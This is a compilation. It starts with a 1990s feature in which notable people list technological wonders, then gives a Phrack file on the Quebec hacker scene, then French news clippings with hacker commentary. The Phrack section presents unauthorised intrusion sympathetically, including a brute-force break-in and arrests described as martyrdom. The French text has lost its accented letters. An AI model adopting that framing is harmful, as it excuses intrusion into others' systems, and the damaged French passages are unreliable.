services will they provide us with? Probably, things that no one
living today has even started to imagine.
Also, The Vacuum Tube triode, which opened the world of
electronics.
The invention of PCR process for "amplifying" a single molecule of
DNA.
The invention of the ATM -- Atomic Force Microscope -- that enables
a person to "feel" the shape of a single molecule, and
The effect of broadcast television in "dumbing" most of the world's
population by providing them with idiotic models. -- Marvin Minsky
A pioneer in the field of artificial intelligence, Minsky is a
professor at MIT and author of Society of Mind.
Francis Ford Coppola
^^^^^^^^^^^^^^^^^^^^
Assuming they are of all time, my list would include, in no special
order: Alternating current -- Tesla Interchangeable parts --
Remington, Ford, Telephone, Radio, Television -- Bell, Meucci,
Marconi, Zworkin, Farnsworth. Random-access disc Personal
computers -- Brabbage and hundreds of others. The Aeroplane --
many contributors Optics: The telescope -- microscope (Galileo,
Leew? -- can't spell it) the Cyclotron (Lawrence) The Motion
picture (Edison, Lumiere). The Nuclear Reactor -- Fermi Rocketry --
Goddard.
I've left out the old chestnut such as the wheel, printing press,
etc.
These come to mind, I can't think now what I've omitted in
agriculture and medicine. Pick you favorite seven.
Very often in our history of art we find that a form already does
something in the mind of the audience and then technology comes
along and enables it to actually be done. I think silent films
always had sound. Then technology came and actually gave us sound
and suddenly it was a burden and a blessing. It's always a blessing
in terms of a new thing that earns a lot of money. Sometimes it was
a burden in that it didn't evoke sound as well as when you didn't
have the sound.
The novel and the drama always had the cinema. You could read a
novel; you read Madame Bovary and it was sort of like a movie but
it was mixed in your mind. And then technology came along and
enabled it to really happen.
The same with color during the black and white era; where these
new technologies come along and gave something that was always
there by suggestion, by art. Now, with the advent of personal
computers and the random access disc, technology once again is
going to give us something that art has always aspired to and has
always done. -- Francis Ford Coppola
Producer/Director Coppola's films include Apocalypse Now, The
Godfather and Bram Stoker's Dracula. He will soon produce Kenneth
Branagh's Frankenstein.
Michael Kleeman
^^^^^^^^^^^^^^^^
The Internet -- the global democratic electronic communication
network.
Making available a "real-time" library without walls, with
electronic messaging, to millions, and in the future billions.While
the global transport network provides the backbone for
communicationa, the Internet has created the electronic community
among 15MM people (today) and in the future possibly billions. What
separates the Internet from a basic transport network are its
resources and wide scale public action to information sources.
Additionally its cooperative nature (controlled by a democratic
committee of multinational origin) and critical support for the
academic and government infrastructure of many nations (from the
United States to Russia), make it a technological wonder of major
social proportions.
Satellites -- Remote sensing and positioning
Changing how we see ourselves on spaceship earth.
While communications satellites have been supplemented and will be
largely replaced by fiber optic communications (for most
applications in all but the most remote areas), satellites for
remote land (and water) sensing and global positioning have changed
forever how we look at our world. Like an airplane with an
unobstructed view satellites permit us to see ourselves and the
impacts of our actions in real time on a global scale. With luck,
they will give us the knowledge to save our planet, and ourselves.
Digitization of information -- changing information content from
"natural" analog formats to one which can be manipulated more
easily by machine
Virtually all information in nature is analog in form (even quantum
particles like light have analog wave attributes). Yet we have
developed the means to transform (to convert) these analog data to
a digital format which allows manipulation of the data by digital
computers. This has changed the entire way we deal with
information, from voice phone calls to CD based music and even
newer forms of entertainment, enabling almost all of what we now
think of as electronic.
What is perhaps more critical is that having done this once, it is
reasonable to expect that we will again effect yet enother
transformation creating another non-native representation of
information.
Stored program control machines -- computers, phone switches,
embedded controllers in cars, planes, etc.
The Von Neumann machine capable of being changed by the
programming logic provided to it, and changed again by new
programs. -- Michael Kleeman
Michael Kleeman is a Bay Area computer and communications
consultant specializing in future telecommunications trends.
Tod Machover
^^^^^^^^^^^^
When I thought of your challenge, people rather than specific
inventions came to mind. I guess that this says something of my own
view of men and machines.
Marvin Minsky: Minsky can be considered the father of artificial
intelligence and also what might be thought of as computational
psychology. His book, Society of Mind, has already led to a new
generation of massively parallel computers and of autonomous agent
software. His decentralized view of the mind -- coming,
paradoxically, from machine architecture -- will be as influential
to our general view of psychology as Freud's theories were at the
beginning of the century.
John Cage: Cage, who died this past year, considered himself to be
as much an inventor as composer. His fundamental goal in life was
to expand the boundaries of what we consider to be music. His
accomplishments and innovations include the first electronic
concert music, first "prepared" piano, first "chance" music, first
opera composed by computer, etc. Cage made it possible to imagine
art forms that would be truly different, and not just rehashes of
old ideas and forms. He truly believed that art could transform
society, and in proving it he became one of the
greatest, if
gentlest, revolutionaries of our time.
Max Mathew: Mathews can be considered the Father of Computer
Music. He was the first person to use a digital computer to produce
sound, and established the principal of software "unit generators"
on which all subsequent electronic music has been based (including
all current MIDI synthesizers and samplers). His GROOVE system from
the 1960s was probably the first gesture-controlled musical
instrument; his signal processing work work with Hal Alles in the
1970s produced the world's first real-time digital synthesizer; his
electronic violin from the 1970s was the first non-acoustic string
instruments; his Radio Drum from the 1980s is probably the most
sophisticated three dimensional gesture-oriented musical interface
to have yet been invented. - Tod Machover
Machover is head of the Music and Physics group at the MIT Media
Lab.
Wes "Scoop" Nisker
^^^^^^^^^^^^^^^^^^
Chopsticks This was the breakthrough that set humans apart from
other animals. All of civilization proceeds from there.
The Meditation Bench This recent invention allows stiff-legged
Westerners to sit relatively comfortably in meditation and come to
an understanding of their overblown sense of self. Anything that
contributes to the shrinking of the individual ego and the many
entrapments thereof, is the revolutionary tool we most need.
Gloves Without gloves, humans who inhabit temperate climates --
the most nervous and inventive of our species -- would have frozen
their thumbs off. And heaven knows where we would be today
without thumbs. - Wes "Scoop" Nisker
Nisker is a radio commentator, meditation teacher and the author of
Crazy Wisdom (Ten Speed Press). His next book, The Millenium and
Me, will be published in 1994.
Jeff Greenwald
^^^^^^^^^^^^^^
Automatic Teller Machines Utterly essential yet doomed to
obsolesence, ATMs serve as the awkward, endearing transition
between the cash economy and the era of global microchip money.
One day they'll be as extinct as the slide rule; in the meantime,
we can't live without them.
Camcorders The casual but comprehensive video documentation of
life on Earth, now underway, is the first collective art endeavor
ever undertaken by the human race.
Cordless Microphones Seeing Springsteen on David Letterman
convinced me; although it's kind of sad to see those signature
wrist-flips, rope-jumps and lassoo spins go the way of the Rhodes
piano.
Personal Laser Printers Ten years ago, typesetting seemed like a
form of alchemy. I remember the endless trips back and forth to the
local graphics shop, the gigantic typesetting machines; the weird
plasticky text that had to be run through a waxer and painstakingly
aligned on the layout board. I remember when everything I wrote
was in Times, Courier,or dot-matrix, and when seeing actual italics
in a term paper or thesis provoked gasps of admiration and envy.
SPF15 Sunblock It was only a matter of time before human beings
realized that they require the same tough, long-lasting protection
that their wooden decks and patio furniture do. I only hope that
the UV radiation pouring through the ever-expanding ozone hole
doesn't eventually mutate insects to the point where we have to
coat ourselves with the equivalent of creosote as well. -- Jeff
Greenwald
Jeff Greenwald, author of Shopping for Buddhas (Harper Collins),
conceived and edited Techno-Wonders. He is a frequent contributor
to WIRED.
Douglas Coupland
^^^^^^^^^^^^^^^^
Lunch on the Concorde: Glamour, stars, and speed: the embodiment of
the 20th Century. Ghosts of Andy Warhol and Halston said to haunt
seats 3A and 3B. Liza's still around.
Added Bonus--Can't last much longer -- imminent doom can only
enhance the glamour.
CNN/MTV: The closest as a species we've come yet to having a family
dinner-table conversation.
Added Bonus--Very little of the psychodrama that normally
accompanies family dinners.
Eastern Bloc Nuclear Reactors: Simply because none of them have
exploded yet. Chernobyl was a burb.
Added Bonus--The exciting, tingly feeling waiting for it to happen.
Lego Satan's playtoy: These seemingly "educational" little blocks
of connectable fun and happiness have irrevocably brainwashed
entire generations of primarily G7 youth into developing mindsets
that view the world as unitized, inorganic, interchangeably
modular, and populated by bland limbless creatures with cutishly
sweet smiles.
Responsible for everything from postmodern architecture to middle-
class anal behavior over the "perfect lawn" (symbolic of the green
plastic base pads).
Added Bonus--No bonuses here. Lego must die.
Home VCRs/Remote Control Devices: Have done more damage to
human attention spans on a day-to-day level than three decades of
network TV combined, thus boldly preparing humanity for the ultra
information-dense world of the 21st Century.
Added Bonus--Channel surfing is indeed fun.
Cocoa Puffs: To eat a bowl of extruded cocoa-tinted corn byproduct
nodules "endorsed" by Sonny the Cocoa Puffs Bird -- a form of
secular transubstantiation -- yes or no? As a product category,
pre-sweetened breakfast cereals more than most others typify the
way in which a secular technological culture sublimates its
religious impulses into consumer ones.
Added Bonus--Fond memories of the Trix Rabbit and Lucky the
Lucky Charms Leprechaun. -- Douglas Coupland
Timothy Leary
^^^^^^^^^^^^^
I enclose a brief, businesslike, nerdy, superficial list of
High-Tech Wonders. They all have to do with information --
media-brain-operation.
The Transistor
The Laser
Fibre-Optics
Personal Computers: Apple 2C and descendents
Video Games which trained the new Nintendo Generation to move
things around on screens thus accelerating their RPM (Realities Per
Minute) to light-speed.
Television-Cable of course.
Psycho-Active Neuro-Transmitting Drugs
Question: Do Nuclear Fission and the Printing Press and Marconi's
Radio, the light bulb, films and the Interpersonal Telephone belong
to the "Modern Mechanical World"?
Question: What and when are the Post-Modern Ages? I don't think
that we can fabricate a linear list of wonders for the Information
Age.
The Ancient wonders were Monuments produced by a Totalitarian
Theocracy and manual slave labor. The Philosophy (the meme
system) was Feudal. Glorify the Patron, the Pharos, Popes, Kings.
There were no practical benefits for the people. The philosophy and
literature were theological. St Thomas, G Dante, St. Augustine. The
Ancient Artists are remembered and honored. Titian, Michelangelo,
Raphael, The Greeks.
The Modern Wonders were produced in the Industrial Age
Engineering and involved a complex "class-caste" system. The
Philosophy was Mechanical. Newton-Darwin. Some of the products
glorified the owners. But they also served passive users and
equipped individual operators. Should we humanize by listing the
Modern Mechanical Wizards. Architect Frank Lloyd Wright, Thomas
Edison (in spite of his cocaine addiction), the Wright Brothers,
Henry Ford (in spite of his political nuttiness), Graham Bell,
Marconi, Tesla?
This humanizes modern technology and offers eccentric role models.
The High-Tech Wonders provide a chaotic paradox. The technologies
change so quickly. The Ancient Wonders were constructed over a
period of 3000 years. The Industrial Age lasted around 300 years.
The Roaring 20th Century has produced at least three Ages defined,
following McLuhan, by the media: Wonders of the Electronic Age
(1900-1950) -- home lighting, radio, electric home appliances by
the score; Wonders of the Electronic Age (1950-1980) -- Main
Frames, minis, TV, cable, FAX, satellites, Remote Control; Wonders
of the Digital Age (1980-2000) -- PC's, modems, video games,
multi-media, Digital Home Appliances, CD-ROM, CD-RAM, etc. To
humanize this chaos we should praise the wizards: Gates, Jobs, etc.
And the philosophers: Marshall McLuhan, William Gibson, Brenda
Laurel, Mondo 2000, Wired.
Thanks for giving me an excuse to poke lovingly around this
delightful chaos. -- Timothy Leary
Mae Jemison
^^^^^^^^^^^
Koch's Postulate maintains that for any given infectous disease
that there is one microorganism (bacterium, virus, membrane,
parasite, slow virus, etc.) that causes the ailment; and to prove
that a specific agent causes the disease one must take that
specific organism and cause the same ailment in another person.
Silicon Besides carbon there is probably no one atom that has had
a more versatile role in the life of humans. Today it is used for
applications ranging from the basic ingredient to make the Pentium
Chip to leg calf implants for cosmetic purposes. It's some neat
stuff.
Voyager 1 and 2 These two satellites have gone outside of the solar
system, one out of the ecliptic plane and the other past Neptune
(it is closer than Pluto is now), represent the first purposeful
heralding of the presence of humanity to the rest of the universe.
Voyager represents the greatest achievement of space exploration to
date -- even bigger than the moon landing. And the Voyagers are
still talking to us.
Bell Laboratories actually did exist, but now it is no more. From
this techno-wonder research institute came the transistor,
fiber-optics, a machine that measures lead poisining in children
with just a drop of blood, and even Nobel prize winning studies on
the Big Bang Theory of the creation of the universe. This entity
developed the telephone switching systems which are in large part
responsible for our ability to transfer information from one
location to another at close to the speed of electromagnetic
radiation.
The elucidation of the structure of hemoglobin S as the cause of
sickle-cell disease. With this one event Linus Pauling demonstrated
that the structure of protein molecules was so important to their
function that the mere substitution of one amino acid for another
could cause radically different function and disease. Even though
the mechanism of DNA replication came later and is more popular, it
is the fact that DNA codes for protein structure that makes DNA
important.
Talking primates in laboratories around the world. Whether the
communication is via sign language or lexicons on a board, this
research demands that we humans re-evaluate all our co-inhabitants
here on Earth.
Personal Computers have caused a total reordering of the workplace
and its productivity (whether better of worse remains to be seen).
As multi-media matures much of entertainment and information
transfer will occur via computers. Internet and all the computer
networks exists not because of large mainframe computers but
because of the PC. - Mae Jemison
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==Phrack Magazine==
Volume Four, Issue Forty-Four, File 26 of 27
*****************************************************************
International Scenes
There was once a time when hackers were basically isolated. It was
almost unheard of to run into hackers from countries other than the
United States. Then in the mid 1980's thanks largely to the
existence of chat systems accessible through X.25 networks like
Altger, tchh and QSD, hackers world-wide began to run into each
other. They began to talk, trade information, and learn from each
other. Separate and diverse subcultures began to merge into one
collective scene and has brought us the hacking subculture we know
today. A subculture that knows no borders, one whose denizens
share the common goal of liberating information from its corporate
shackles.
With the incredible proliferation of the Internet around the globe,
this group is growing by leaps and bounds. With this in mind, we
want to help further unite the communities in various countries by
shedding light onto the hacking scenes that exist there. We have
been requesting files from people to describe the hacking scene in
their country, but unfortunately, more people volunteered than
followed through (you know who you are.) This issue we want to
introduce you to the scenes in Quebec, Sweden and Israel.
*****************************************************************
What is going on in the 418 scene
By Gurney Halleck of NPC
Believe it or not, there are hackers and phreakers in the
418 AC and people are just starting to hear from us. There are
only two real H/P BBS in Quebec City, The Workshop and Miranda BBS.
The first one is a NPC hang out (Northern Phun Co.), a local
Hacker/Phreaker group that has a certain fame, just read Phone
Pirates, a recent book by two Toronto journalists....
The other one is considered a little bit lame by some. Personally,
I am friends with the sysops, they're not real hackers, but
generally nice guys.
Here are some names you might have seen in the H/P scene,
Blizkreig, SubHuman Punisher, KERMIT, Atreid Bevatron, Coaxial
Karma, Mental Floss, Fairy Dust, Evil-E, Black Head, Santa Claus,
Blue Angel Dream, myself of course and probably many more I have
forgotten to mention. (sorry)
NPC Publishes a monthly magazine and will be celebrating
their first anniversary on November 1st 1993. They have been on
national TV and press for breaking into the computer of the prime
minister's cabinet.
In 418, there is only one Internet Node, at Laval
University, and to get a legal account on one of their systems, be
ready to shell out 90$ a month.
No kid can pay that much, so that's why there are so many hackers.
They hack anything from old VAX/VMS machines to brand new Suns and
Datapac and Edupac.
Back in April of 1993, a hacker, Coaxial Karma, was
arrested for trying to "brute force" into saphir.ulaval.ca, a
cluster VAX/VMS. He was working from information from another
hacker, myself, that there were many "virgin" accounts
(account that were issued but never used) and that these accounts
all had a four letter (just letters) password. So he proceeded to
brute force the computer, after 72000 tries, he finally got in. An
operator, entirely by chance, found the logs for the 72000 failed
logins for one account on saphir, an proceeded to call the police.
The hacker, being a juvenile, got by easily, not even loosing his
computer.
On September 30th, another hacker, SubHuman Punisher, was
arrested by the RCMP. It all started a long time ago, when people
started hacking into Laval University's systems. First, they
installed a password on their terminal servers, just one password,
the same for everybody! Needless to say, everybody knew it.
Second, most sys-admins knew next to nothing about security, so
when they found intruders, they could not keep them out.
Enter Jocelyn Picard, sysadmin of the GEL subdomain and security
expert. He does his job and does it well. He kicked them out for
a long time. (I personally do not think it was his idea to call the
RCMP.)
After a while, the hackers where back with a vengeance and
using Laval's systems to hack other systems. So the guys from the
CTI (Centre de Traitement de l'Information) decided to call the
authorities. Bell monitored the phone lines from Sept 16th to Sept
30th. Systems in the ERE hierarchy in the umontreal.ca domain were
also logged for Internet activity. On the 30th, 2 hackers where
arrested. Both of them, their only crime was wanting to be on the
internet. Now is that so bad?
I only knew one of the two, SubHuman Punisher, so I'll tell
you what happened to him. He was charged with theft of
telecomunications (that charge as been dropped) and for illegally
using a computer. A new charge as been added after they drop the
first one: copyright infringement. All his equipment was taken
away. We don't think he'll get by as easily as the first
electronic martyr of 418 (as we like to call him). This time it
looks serious. So we at NPC have started a relief fund for his
legal defense, The "Fond de Defense SubHuman Punisher" ( the
SubHuman Punisher defense fund).
All contributions are welcomed, write to:
FDSP
886 St-Vallier St. app 7
Quebec City, Qc
Canada, G1K 3R4
*****************************************************************
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Read the news don't believe the Hype
By
Paranoid and The PoSSe
---------------------------
Newsgroups: ulaval.unix-ul
From: Marc Blanchet <blanchet@fsg.ulaval.ca>
Subject: Communique de la GRC concernant des perquisitions
Organization: CTI, Universite Laval
Bonjour,
voici le communique de presse de la GRC concernant des
perquisitions effectuees. Marc.
------------------------------------------------------------------
OPERATIONS G.R.C. - PIRATES
Le 30 septembre 1993, les agents de la G.R.C., section Crime
Informatique, de Montreal et de Quebec ont procede a deux
perquisitions simultanees l'une dans une residence de Ste-Foy et
l'autre a Sillery, concernant l'utilisation non autorisee d'un
ordinateur appartenant a l'Universite de Montreal.
Ces perquisitions sont le resultat d'une collaboration entre
l'Universite de Montreal, L'Universite Laval a Quebec, le groupe de
la surete de Bell Canada et la G.R.C. Grace aux nouvelles
technologies numeriques, le depistage de ces entreees par
effraction contre des systemes informatises est grandement
facilite.
L'enquete d'une duree de deux semaines visait le domaine de la
piraterie informatique, c'est-a-dire le vol de telecommunications,
l'utilisation non autorisee d'un ordinateur ainsi que des mefaits
concernant des donnees.
Ces trois activites contreviennent aux Articles 342.1 et 326.1 et
430(1.1) du Code Criminel. L'enquete visait egalement des
infractions en vertu de la Loi sur le Droit d'auteur.
C'est bien connu parmi le milieu informatique que les pirates
informatiques essayent d'obtenir les codes d'acces et les mots de
passe en utilisant des moyens detournes.
Les suspects de cette enquete ont ete identifies toutefois, aucune
accusation n'a ete deposee. L'enquete se poursuit.
-----------------------------------------------------------------
Marc Blanchet | telephone: 418-656-3559
Coordonnateur a l'informatique | telecopieur: 418-656-5902
Fac. Sciences et Genie |
Pouliot 1100 |
Universite Laval |
Internet: Marc.Blanchet@fsg.ulaval.ca
Quebec, Quebec, Canada |
G1K 7P4 |
------------------------------------------------------------------
[Atreid- Ah! L'enqute se poursuit qu'il dit. C'est la phrase cl
que les coches utilisent pour dire, en clair, que l'affaire est
peu prs close, qu'elle n'avance pas, qu'ils sont pays
ne rien
faire, etc.]
- 30 -
Leeched from POPULAR SCIENCE - Dcembre 1993
LIFE IN THE V.FAST LANE
par Jon Pepper
How fast is fast enough? For modem users, the need for speed
seems boundless - especially with the size of data files
continuously getting larger. But the wait for the long-delayed
next generation of faster modems appears to be over.
For more than two years now, an international committee that
sets telephone equipment standards [CCITT] has debated the detail
of a new modem benchmark known as V.Fast (pronounced
vee-dot-fast). The V.Fast standard still has not arrived
officially, but an interim standard for V.Fast-class (or V.FC)
modems has. These new modems pump data over phone lines at speeds
up to 28,800 bits per second - fully twice the base transmission
speed of the current 14,400-bps (or V.32bis) standard. These
modems still use conventional phone lines, and provide high-speed
fax capabilities too.
You must have a V.FC-compatible modem at both ends of the
line to achieve top speeds, but V.FC modems will work with older
modems at slower speeds.
A variety of modem makers, including Hayes, U.S. Robotics,
and Practical Peripherals, have said they intend to sell new V.FC
modems, or upgrade existing ones, very soon. Rockwell, the
leading supplier of chips for modems, began shipping the parts
needed to make these high-speed modems this fall. In the
meantime, some companies are offering their own solutions.
Motorola's Codex 326XFast-SDC modems, for example, use a unique
encoding scheme that the company claims can yield speeds as high
as 115,200 bps.
The final V.Fast standard is expected in 1994. Maybe.
[Paranoid- Peut-tre que cet article va mettre fin
des rumeurs
ridicules qui courent un peu partout concernant le V.Fast...]
- 30 -
Leeched from POPULAR SCIENCE - Dcembre 1993
INTERNET COMES TO CABLE TV
par Suzanne Kantra
The sprawling Internet network has been touted as the
precursor to an electronic superhighway, providing a means of
accessing vast amounts of information and a global electronic
mail system. To date, however, this mother of all networks has
been used principally by university researchers, government
agencies, and large companies. But it may soon be coming into
your living room.
Continental Cablevision, the third largest cable-TV company
in the United States, plans to deliver Internet to you through
the cable outlet in your home. Using a special modem plugged into
your cable outlet, you'll be able to dial directly into Internet.
In addition to letting you access resources such as the Library
of Congress card catalog and the National Weather Service's
satellite images - and more than 10,000 other data banks - cable
TV links promise broadcast-quality video and CD-quality audio.
And information could be delivered at rates as high as 10 million
bits a second [Mbps], compared to about 14,000 for today's best
modems.
Internet isn't the only computer network that's likely to
appear on your TV screen. Prodigy, the nation's largest online
service, recently announced that it is attempting to get cable TV
companies to carry its mix of e-mail, information, education, and
entertainment options. Other services, including CompuServe and
America Online, say they may do the same.
The chief drawback to Continental's plan may be cost. Some
Internet services are available on a pay-for-usage basis, and the
resulting charges could make your cable bill soar as high as $100
a month. But there are less costly ways to tap into Internet -
many e-mail systems send messages through the network - and there
may soon be ways to explore it for free.
One of the first free, public entrance ramps to Internet
opened this fall in Morris County, New Jersey. Created by Bell
Communications Research, MoreNet (Morris Research and Education
Network) is a group of computer terminals placed in public and
academic libraries, enabling anyone to access the Internet
system. Although MoreNet users cannot access Internet's e-mail
and commercial services, most of its academic, government, and
national data banks will be available.
[Paranoid- Bon! Enfin une bonne raison de hacker le Videoway ;-)]
- 30 -
Leeched from LE JOURNAL DE QUBEC - Samedi 10 octobre 1991
LE PIRATAGE: UNE PRATIQUE RPANDUE
par Yves Thriault
L'importante saisie de systmes d'exploitation d'ordinateurs
effectue par la GRC dans les quatre succursales de la compagnie
Microbec, plus tt cette semaine, n'a gure surpris les experts
de la vente informatique au dtail, industrie o tous les moyens
sont bons pour conserver ou augmenter sa part de march.
Il n'en demeure pas moins que cette nouvelle a eu l'effet
d'une bombe dans le milieu de l'informatique. L'annonce de la
perquisition de mercredi, une des plus importantes jamais
ralise au Qubec (environ 300 000$ de matriel), s'est rpandue
comme une trane de poudre
travers l'est de la province.
®Qu'ils soient de Thetford Mines ou de Baie-Comeau, tous mes
clients n'avaient que ce sujet de conversation. Ils voulaient
davantage d'informations sur cette affaire¯, a confi un
reprsentant oeuvrant pour un concurrent de Microbec.
Ce mme informateur, qui a demand de taire son identit, a
confirm ce que le journal avait avait appris de diverses autres
sources,
savoir que le piratage de logiciels tait une pratique
rpandue dans cette industrie. ®La concurrence est tellement
froce entre les dtaillants que la plupart d'entre eux n'ont
d'autre choix que d'emboter le pas.¯
®Je ne suis absolument pas surpris que Microsoft ait port
plainte, a dclar un autre intervenant. Ces dernier temps, il y
avait des compagnies qui allaient vraiment trop loin.¯
Il semble que ce soit surtout les compagnies se spcialisant
dans la vente de produits compatibles, communment appels
"clones" et destins au consommateur priv, qui usent le plus de
pratiques douteuses. ®Celles qui distribuent les produits des
marques reconnues, comme IBM, ou qui s'adressent
une clientle
institutionnelle ne peuvent se permettre de tricher¯, a expliqu
un reprsentant.
Les personnes consultes ont aussi fait remarquer que le
piratage des logiciels ne serait pas une pratique aussi rpandue
sans le consentement tacite et, dans une certaine mesure, la
complicit des utilisateurs. ®Quand un client achte un systme
d'exploitation d'ordinateur accompagn d'un logiciel dont le
guide d'utilisation est photocopi ou dj
usag, il sait
pertinemment qu'il s'agit d'un logiciel pirate.¯
- 30 -
Leeched from LE JOURNAL DE QUBEC - Mardi 20 mars 1990
DES LOGICIELS PIRATES EN USAGE DANS LE RSEAU DES AFFAIRES
SOCIALES
par Michel Marsolais
MONTRAL ÄÄ Au moins six intstitutions du rseau des affaires
sociales sont en possession de copies illgales d'un logiciel
amricain utilis dans les systmes de paie. Au cours d'une
vrification, six tablissements, dont trois CLSC, prsentaient
des logiciels BLAST avec des numros de srie identiques.
La vrification a t faite
la suite d'allgations d'un
ex-employ de Logibec, la firme qui a install ces logiciels chez
les clients en question. Sur dix tablissements joints, six
prsentaient le mme numro de srie, soit le 0396740010.
Quant aux autres tablissements interrogs, un centre
d'accueil a refus de rpondre, deux affirment ne pas tre en
possession du logiciel en question et un CLSC prsentait un
numro diffrent.
Un numro de srie unique doit obligatoirement tre fourni
par le dtaillant avec le logiciel pour prouver qu'il s'agit d'un
mdia original. La GRC a t saisie du dossier, vendredi dernier.
Les tablissements dont les numros de srie du logiciel
BLAST taient identiques sont le Service de radaptation du
Sud-Ouest,
Chteauguay, le CLSC la Saline,
Chandler, le CLSC
Mitis,
Mont-Joli, le Centre d'accueil Longueuil, le Centre
hospitalier Sherbrooke et le CLSC l'Estuaire,
Rimouski.
BLAST est une entreprise de Baton Rouge, en Louisiane, dont
le logiciel est largement utilis au Qubec pour la paie. Le
logiciel en question se dtaille autour de 995$ US, soit environ
1300$ CA chacun.
Bien que l'entreprise de Baton Rouge reconnaisse que chaque
client devraiit possder un numro de srie diffrent, le
vice-prsident, M. Ted Bordellon, n'a pas voulu commenter la
situation pour le moment, mais l'a qualifie de srieuse.
Pointe de l'iceberg?
Au ministre de la Sant et des Services sociaux, on ignore
l'ampleur du phnomne, car chaque institution est responsable de
ses achats
l'intrieur de son cadre budgtaire. ®Nous ne
faisons que donner l'autorisation pour ce genre d'achat¯, assure
Lauriane Collin, du ministre. Il s'agit toutefois d'un secret de
Polichinelle que plusieurs utilisateurs - y compris des
fonctionnaires gouvernementaux - emploient des logiciels copis,
mme si c'est parfois
leur insu.
L'entreprise Logibec avait fait l'objet d'une perquisition
de la GRC, en fvrier [1990], relativement aux allgations de
piratage du logiciel Progress. Aucune accusation n'a cependant
encore t porte.
- 30 -
Leeched from LE SOLEIL - Mercredi 13 octobre 1993
SURVEILLANCE LECTRONIQUE CONTRE LE PROGRES CIVIQUE?
par Robert Fleury
QUBEC ÄÄ Le bureau des conseillers de l'opposition se croit
victime de surveillance lectronique
l'htel de ville. Une
lettre sera adresse en ce sens au directeur gnral Denis de
Belleval.
®Cela fait un certain temps que nous avons des doutes. Quand
nous rpondons au tlphone, nous entendons parfois des dclics
suspects. Nous avions un document trs confidentiel dans un
classeur barr
clef et le classeur tait ouvert quand je suis
entre ce matin. Mais le pire, c'est que nous avons dcouvert 12
virus sur notre ordinateur¯, commente Claire Vaillancourt,
attache politique des conseillers du Progrs civique.
®Nous avons fait venir un expert en informatique de
l'extrieur
[Atreid- Probablement un spcialiste du Club MacIntosh!]
et il nous affirme que les virus n'ont pu tre
introduits qu'en insrant une disquette
cet effet. Tous les
logiciels que nous utilisons sont des originaux, a ne peut venir
des ntres...¯, affirme Mme Vaillancourt qui craint maintenant de
passer pour une paranoaque
devoir se tenir sur ses gardes.
®Nous avons fait changer toutes nos serrures
[Atreid- Comme BELL CANADA! ]
et nous adressons une lettre au directeur gnral de la ville
pour qu'il procde
des vrifications¯, dit l'attache aprs
consultation avec l'tat major du parti.
Le directeur gnral s'est dit surpris d'tre inform par le
journaliste du contenu d'une lettre qu'il n'a pas encore reue,
mais promet qu'il fera enqute.
®coutez, si je reois une plainte en ce sens, je ferai
faire une enqute, que ce soit auprs de Bell, de nos services
informatiques ou de la police. C'est la premire fois que
j'entends parler d'une affaire comme a depuis que je suis en
fonction¯, commente Denis de Belleval.
Au bureau du maire de Qubec et chef du Rassemblement
populaire, on invite les reprsentants de l'opposition ®
transmettre leurs allgations au plus tt au service de police
pour qu'il puisse faire enqute¯.
- 30 -
Leeched from LA PRESSE - Dimanche 24 octobre 1993
MALGR LA LOI D'ACCES A L'INFORMATION, LA CENSURE FDRALE CACHE
EMCORE DES DOCUMENTS
par Gilles Paquin
Un avocat montralais qui tente de faire la lumire sur les
directives que le cabinet Trudeau donnait
la GRC pour lutter
contre le "mouvement sparatiste" devra s'adresser
la Cour
fdrale pour se prvaloir de son droit d'accs
l'information.
®Depuis le dbut de l'an dernier, j'ai formul de nombreuses
requtes en vue d'obtenir des procs-verbaux des runions du
cabinet et de ses comits, mais on me remet toujours des
documents censurs¯, affirme, preuves
l'appui, Me Pierre
Cloutier, du Centre de recherche sur la scurit et le
renseignement de Montral.
Selon lui, la loi fdrale d'accs
l'information est
pourtant trs claire: tous les documents et procs-verbaux du
cabinet et de ses comits,
quelques exceptions prs, deviennent
publics aprs 20 ans. Or la ralit est fort diffrente, soutient
Me Cloutier.
®Des fonctionnaires anonymes dcident, de faon tout-
-fait
arbitraire et en prenant tout leur temps, de ce qui doit tre
dvoil au bon peuple¯,
[Atreid- Est-ce moi qui est prcosse o il le fait exprs?]
ajoute l'avocat. Il a lui-mme reu des
documents tellement censurs qu'ils contenaient plus de pages
blanches que de textes.
Pour illustrer son propos, Me Cloutier a remis
'La Presse'
des copies de procs-verbaux des runions du cabinet qui lui ont
t transmises par le bureau d'accs
l'information du Conseil
priv aprs de longues dmarches. Il en a reu trois versions au
fil des mois, ce qui lui a permis de dcouvrir, petit
petit,
une partie de ce qu'on cherche
lui cacher.
Une histoire sinueuse
Toute l'affaire a commenc lorsque Me Cloutier a formul une
demande d'accs
l'information au Conseil priv, en mars 1992,
aprs avoir lu dans 'La Presse' que certains documents du cabinet
et de la Commission McDonald taient maintenant du domaine
public.
Un mois plus tard, il reoit une copie censure d'un mmoire
sur "le sparatisme au Qubec" rdig le 17 dcembre 1969 par le
premier ministre du temps, Pierre Elliott Trudeau,
l'intention
du comit sur la scurit et le renseignement du cabinet. On lui
transmet galement un procs-verbal expurg de la runion tenue
par ce comit deux jours plus tard dans le but d'tudier cette
question.
®Selon les tmoignages entendus
huis-clos par la
Commission d'enqute McDonald sur les activits illgales de la
GRC six ans plus tard, c'est en s'appuyant sur ce document que le
comit a alors labor le mandat secret de la force policire
fdrale visant
faire face
la menace sparatiste¯, soutient
M. Cloutier.
Cherchant
en savoir davantage, Me Cloutier prsente alors,
la fin avril, une deuxime demande sur le mme sujet. La
rponse ne se fait pas attendre, cette fois il reoit quelques
jours plus tard de nouvelles copies des mmes textes plus
censurs que les premiers.
Dpit, il crit alors au Commissaire
l'accs
l'information du Canada, fin mai 1992, pour exiger des
explications ainsi qu'une version intgrale de ces documents. Le
5 juin suivant, on lui rpond simplement que sa requte a t
confie
un enquteur de la Commission. Puis le temps passe.
Finalement, le 14 septembre dernier, le bureau d'accs
l'information du Conseil priv lui expdie une troisime version,
moins censure, des deux textes litigieux. Il en manque encore
des grands passages note l'avocat, ainsi prsents ces documents
demeurent souvent mystrieux.
®J'ai maintenant dcid d'crire
nouveau au Commissaire
pour lui demander des explications sur cette censure par retour
du courier et j'ai l'intention de porter l'affaire devant la Cour
fdrale¯, dit Me Cloutier.
Selon lui, si les documents taient complets il serait
peut-tre possible de percer l'nigme qui persiste au sujet des
ordres transmis au service de scurit de la GRC dans sa lutte
contre le "mouvement sparatise". Il se demande mme si la
censure ne cherche pas
cacher des dcisions inavouables, voire
mme illgales du cabinet.
®En tenant compte de tout ce qui s'est pass au cours des
annes suivantes, soit le vol des listes de membres du PQ par la
